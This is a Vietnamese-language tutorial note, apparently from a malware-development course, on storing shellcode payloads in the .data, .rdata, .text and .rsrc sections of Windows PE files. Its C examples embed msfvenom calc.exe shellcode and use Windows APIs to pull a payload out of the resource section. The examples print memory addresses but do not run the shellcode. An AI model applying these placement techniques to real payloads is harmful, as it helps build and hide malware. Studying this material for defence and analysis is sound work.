.data & .rdata Sections

Khi lập trình malware, chúng ta có thể đặt payload vào các section sau của file PE:

  • .data
  • .rdata
  • .text
  • .rsrc

.data Section

Vùng .data chứa các biến toàn cục và các biến static. Do có quyền đọc và ghi nên .data thích hợp cho các payload được mã hóa mà cần được giải mã trong quá trình chạy.

Ví dụ bên dưới minh họa cho việc lưu payload vào vùng .data:

#include <Windows.h>
#include <stdio.h>
 
// msfvenom calc shellcode
// msfvenom -p windows/x64/exec CMD=calc.exe -f c 
// .data saved payload
unsigned char Data_RawData[] = {
	0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
	0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
	0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
	0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
	0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
	0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
	0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
	0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
	0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
	0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
	0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
	0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
	0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
	0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
	0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
	0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
	0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
	0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
	0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
	0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
	0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
	0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
	0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00
};
 
int main() {
 
	printf("[i] Data_RawData var : 0x%p \n", Data_RawData);
	printf("[#] Press <Enter> To Quit ...");
	getchar();
	return 0;
}

Hình bên dưới cho thấy payload đã được nạp vào vùng .data ở địa chỉ 0x00007FF68C7BC000 (ở ngay đầu):

Note

Payload có thể nằm ở vị trí khác ở trong vùng .data chứ không nhất định nằm ở đầu vùng này.

Chú ý rằng quyền của vùng nhớ là RW (đọc và ghi).

.rdata Section

Tất cả các biến được khai báo với từ khóa const đều được lưu ở vùng .rdata. Chữ r trong rdata là viết tắt của read-only. Các hành động ghi vào vùng nhớ này sẽ gây ra lỗi truy cập trái phép (access violation).

Tùy vào compiler và cấu hình của nó, vùng .data.rdata có thể bị gộp lại hoặc thậm chí là gộp với .text.

Đoạn code bên dưới minh họa cho việc lưu payload vào vùng .rdata:

#include <Windows.h>
#include <stdio.h>
 
// msfvenom calc shellcode
// msfvenom -p windows/x64/exec CMD=calc.exe -f c 
// .rdata saved payload
const unsigned char Rdata_RawData[] = {
	0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
	0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
	0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
	0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
	0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
	0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
	0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
	0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
	0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
	0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
	0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
	0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
	0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
	0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
	0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
	0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
	0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
	0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
	0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
	0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
	0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
	0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
	0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00
};
 
int main() {
 
	printf("[i] Rdata_RawData var : 0x%p \n", Rdata_RawData);
	printf("[#] Press <Enter> To Quit ...");
	getchar();
	return 0;
}

Có thể thấy, đoạn code này tương tự đoạn code trước ngoại trừ việc khai báo biến chứa payload với từ khóa const.

Sử dụng dumpbin.exe (được cài cùng với Visual Studio) để xem dữ liệu bên trong file PE:

dumpbin.exe /ALL <binary-file.exe>

Kéo xuống phần .rdata, ta sẽ thấy payload:

.text Section

Việc lưu trữ payload vào vùng .text có đôi chút khác biệt so với vùng .data và vùng .rdata do ta cần khai báo thêm với compiler rằng ta muốn lưu payload vào vùng .text.

#include <Windows.h>
#include <stdio.h>
 
// msfvenom calc shellcode
// msfvenom -p windows/x64/exec CMD=calc.exe -f c 
// .text saved payload
#pragma section(".text")
__declspec(allocate(".text")) const unsigned char Text_RawData[] = {
	0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
	0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
	0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
	0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
	0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
	0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
	0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
	0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
	0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
	0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
	0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
	0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
	0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
	0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
	0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
	0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
	0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
	0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
	0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
	0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
	0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
	0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
	0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00
};
 
int main() {
 
	printf("[i] Text_RawData var : 0x%p \n", Text_RawData);
	printf("[#] Press <Enter> To Quit ...");
	getchar();
	return 0;
}

Có thể thấy, ta sử dụng #pragma section(".text") và thêm vào từ khóa __declspec(allocate(".text")) khi khai báo biến chứa payload.

Info

Vùng .text có quyền thực thi nên payload được lưu trong đây có thể được thực thi một cách trực tiếp mà không cần phải thực hiện chỉnh sửa quyền của vùng nhớ.

Lần này, ta sẽ dùng công cụ pe-bear để xem payload ở trong vùng .text:

Note

Để ra được output trên, cần phải biên dịch file ở chế độ Release thay vì Debug.

.rsrc Section

Kích thước của vùng .rsrc lớn hơn so với .data.rdata nên đây là vùng lưu trữ phù hợp cho payload lớn.

Embedding Payloads in .rsrc

Các bước lưu payload vào vùng .rsrc:

  1. Thêm mới một item vào project ở danh mục “Resource Files” với kiểu là “Resource File (.rc)”:

  2. Sau đó, Visual Studio sẽ mở một “Resource View”. Lúc này, ta chọn “Add Resource”:

  3. Kế đến, nhấn “Import” và chọn file chứa payload có extension là .ico:

  4. Chọn “Resource Type” là RCDATA:

  5. Payload sẽ được hiển thị như sau:

  6. Sau khi thoát “Resource View” thì sẽ có một file header được tạo ra có tên là resource.h. File này được đặt tên dựa trên file Resource.rc mà ta đã tạo:

    Trong file header này có câu lệnh #define giúp định nghĩa ID của resource ở trong vùng .rsrcIDR_RCDATA1 với giá trị là 101. Đây là thông tin giúp ta trích xuất resource từ vùng .rsrc.

Một khi được compiled, payload sẽ được lưu ở trong vùng .rsrc và ta cần dùng các hàm thuộc Windows APIs để trích xuất.

Ví dụ:

#include <Windows.h>
#include <stdio.h>
#include "resource.h"
 
int main() {
 
	HRSRC		hRsrc                   = NULL;
	HGLOBAL		hGlobal                 = NULL;
	PVOID		pPayloadAddress         = NULL;
	SIZE_T		sPayloadSize            = NULL;
 
	
	// Get the location to the data stored in .rsrc by its id *IDR_RCDATA1*
	hRsrc = FindResourceW(NULL, MAKEINTRESOURCEW(IDR_RCDATA1), RT_RCDATA);
	if (hRsrc == NULL) {
		// in case of function failure 
		printf("[!] FindResourceW Failed With Error : %d \n", GetLastError());
		return -1;
	}
 
	// Get HGLOBAL, or the handle of the specified resource data since its required to call LockResource later
	hGlobal = LoadResource(NULL, hRsrc);
	if (hGlobal == NULL) {
		// in case of function failure 
		printf("[!] LoadResource Failed With Error : %d \n", GetLastError());
		return -1;
	}
 
	// Get the address of our payload in .rsrc section
	pPayloadAddress = LockResource(hGlobal);
	if (pPayloadAddress == NULL) {
		// in case of function failure 
		printf("[!] LockResource Failed With Error : %d \n", GetLastError());
		return -1;
	}
 
	// Get the size of our payload in .rsrc section
	sPayloadSize = SizeofResource(NULL, hRsrc);
	if (sPayloadSize == NULL) {
		// in case of function failure 
		printf("[!] SizeofResource Failed With Error : %d \n", GetLastError());
		return -1;
	}
	
	// Printing pointer and size to the screen
	printf("[i] pPayloadAddress var : 0x%p \n", pPayloadAddress);
	printf("[i] sPayloadSize var : %ld \n", sPayloadSize);
	printf("[#] Press <Enter> To Quit ...");
	getchar();
	return 0;
}

Trong đoạn code trên, hàm FindResourceW lấy ra “resource’s information block” (hay nói đơn giản là vị trí của resource) dựa trên resource ID (macro IDR_RCDATA1) và resource type (RT_RCDATA).

  • Tham số đầu tiên là handle của module có chứa resource mà ta cần, truyền vào NULL đồng nghĩa với việc sử dụng module (hay file thực thi) hiện tại.
  • Chúng ta dùng macro MAKEINTRESOURCEW để chuyển ID có kiểu số nguyên sang chuỗi định danh của resource.

Note

Cần chú ý rằng vùng .rsrc chỉ có quyền đọc nên ta không thể cập nhật payload. Để chỉnh sửa payload, ta cần sao chép nó qua một vùng nhớ tạm rồi thực hiện các thao tác chỉnh sửa trên đó chẳng hạn như giải mã payload.

Updating .rsrc Payload

Để cấp phát vùng nhớ nhằm sao chép payload từ vùng .rsrc, ta có thể dùng hàm HeapAlloc. Sau đó, thực hiện sao chép từ vùng .rsrc vào vùng nhớ vừa được cấp phát bằng cách sử dụng hàm memcpy:

// Allocating memory using a HeapAlloc call
PVOID pTmpBuffer = HeapAlloc(GetProcessHeap(), 0, sPayloadSize);
if (pTmpBuffer != NULL){
	// copying the payload from resource section to the new buffer 
	memcpy(pTmpBuffer, pPayloadAddress, sPayloadSize);
}
 
// Printing the base address of our buffer (pTmpBuffer)
printf("[i] pTmpBuffer var : 0x%p \n", pTmpBuffer);

Hình bên dưới cho thấy payload được lưu ở trong vùng .rsrc:

Sau đó, nó được lưu vào một buffer như sau:

list
from outgoing([[MalDev - Payload Placement]])
sort file.ctime asc

Resources